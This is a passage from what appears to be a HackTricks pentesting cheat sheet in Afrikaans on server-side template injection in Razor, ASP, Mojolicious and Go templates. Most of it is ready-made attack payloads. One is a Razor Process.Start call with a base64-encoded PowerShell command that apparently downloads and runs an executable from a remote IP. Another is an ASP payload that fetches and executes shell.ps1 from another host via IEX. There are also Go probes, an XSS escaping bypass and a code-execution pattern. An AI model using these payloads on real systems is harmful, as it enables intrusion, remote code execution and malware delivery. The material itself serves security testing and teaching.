  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcgcgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Die .NET System.Diagnostics.Process.Start metode kan gebruik word om enige proses op die bediener te begin en dus 'n webshell te skep. Jy kan 'n kwesbare webapp voorbeeld vind in https://github.com/cnotin/RazorVulnerableApp

Meer inligting

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Niks
  • <%= response.write(date()) %> = <Date>
xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Meer Inligting

Mojolicious (Perl)

Alhoewel dit Perl is, gebruik dit etikette soos ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifieke payloads:

  • {{ . }}: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n Password attribuut oorgedra word, kan {{ .Password }} dit blootstel.
  • {{printf "%s" "ssti" }}: Verwag om die string "ssti" te vertoon.
  • {{html "ssti"}}, {{js "ssti"}}: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Met die text/template pakket kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling hiermee, kodeer die html/template pakket die antwoord om dit te voorkom (bv., {{"<script>alert(1)</script>"}} lei tot &lt;script&gt;alert(1)&lt;/script&gt;). Nietemin, sjabloon definisie en aanroep in Go kan hierdie kodering omseil: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE uitbuiting verskil aansienlik tussen html/template en text/template. Die text/template module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie in html/template toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar here for html/template en here for text/template.

Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n System metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: {{ .System "ls" }}. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:

go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Meer inligting

Meer Exploits

Kyk na die res van https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection vir meer exploits. Jy kan ook interessante etiket inligting vind in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Verwante Hulp

As jy dink dit kan nuttig wees, lees:

Gereedskap

Brute-Force Opsporing Lys

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Oefening & Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks